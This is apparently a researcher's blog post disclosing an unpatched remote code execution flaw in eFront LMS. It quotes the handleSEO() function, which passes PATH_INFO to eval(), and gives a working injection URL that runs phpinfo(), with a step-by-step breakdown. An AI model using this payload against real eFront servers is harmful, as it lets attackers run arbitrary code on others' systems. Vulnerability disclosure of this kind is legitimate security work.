TL,DR; A friend reminded me a couple of days ago to publish something, since its been a while last I published a post. so this is going to be a short post about an interesting-ish RCE found in all versions of eFront LMS - unfortunately, since the report have passed 90 days since initial report, I am publishing it. I will update this post if a patch for the bug is out.
The reason I have been away from the internet is because of the internet blockage in Ethiopia caused by the State of Emergency & its consequences facing you if you don't follow it, I am currently in a neighboring country so I am not technically disrespecting any laws.
In /efront/libraries/globals.php:
The following handleSEO() function is the one causing the code execution. it looks like the following:
function handleSEO() {
if (!$GLOBALS['configuration']['seo'] && $_SERVER['PATH_INFO']) {
$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
for ($i = 0; $i < sizeof($parts); $i+=2) {
eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');
}
//unset($parts);unset($i);
foreach (get_defined_vars() as $key => $value) {
$_GET[$key] = $value;
}
}
}
Because of their assumption that $_SERVER['PATH_INFO'] isn't user controllable, they sent it stright to eval(), causing the code execution.
Final PoC: https://localhost/efonrt/libraries/globals.php/hack/x%22%3Beval(phpinfo())%3B%24t%3D%22pwnd
Decoded:
https://localhost/efonrt/libraries/globals.php/hack/x";eval(phpinfo());$t="pwnd
visiting the above link will get phpinfo() executed.
Breaking it down:
$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
for ($i = 0; $i < sizeof($parts); $i+=2) {
eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');
}
Because of that specific code, we send in /globals.php/hack/x, which will become:
$hack="x
But because php already executed the code, doing a comment (/*..*/) wont work and will crash it, so we will just tamper the variables like x";eval(phpinfo());$t="pwnd
This will endup creating:
$hack = "x";eval(phpinfo());$t="pwnd";
This is then interpreted as:
eval($hack = "x";eval(phpinfo());$t="pwnd";);
And Boom! We got our code executed!
Hope you enjoyed the read!
